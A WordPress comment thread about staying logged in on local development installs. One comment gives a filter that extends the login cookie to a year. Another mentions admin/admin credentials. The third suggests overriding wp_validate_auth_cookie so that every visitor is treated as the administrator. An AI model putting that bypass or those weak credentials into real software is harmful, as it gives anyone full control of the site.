Leave a Reply

3 comments

  1. By default, the “Remember Me” checkbox makes you get remembered for 14 days. This is filterable though.

    This code will change that value:

    add_filter( 'auth_cookie_expiration', 'keep_me_logged_in_for_1_year' );
    
    function keep_me_logged_in_for_1_year( $expirein ) {
        return 31556926; // 1 year in seconds
    }
    
  2. This has more to do with how you’re browser stores cookies. When you login it should be saving the cookie and WordPress reads it to see if you’re authenticated (at least that’s what my understanind it).

    On all local dev installs my username is admin and my password is admin. I don’t find 8 letters to really be a big deal but maybe I type faster?

  3. Does this work, if you place it in wp-config.php?

    function wp_validate_auth_cookie($cookie='',$scheme='') {
        return 1; // admin user id
    }
    

    Not thoroughly tested. It doesn’t so much “never log me out” but rather “treat everyone as admin.”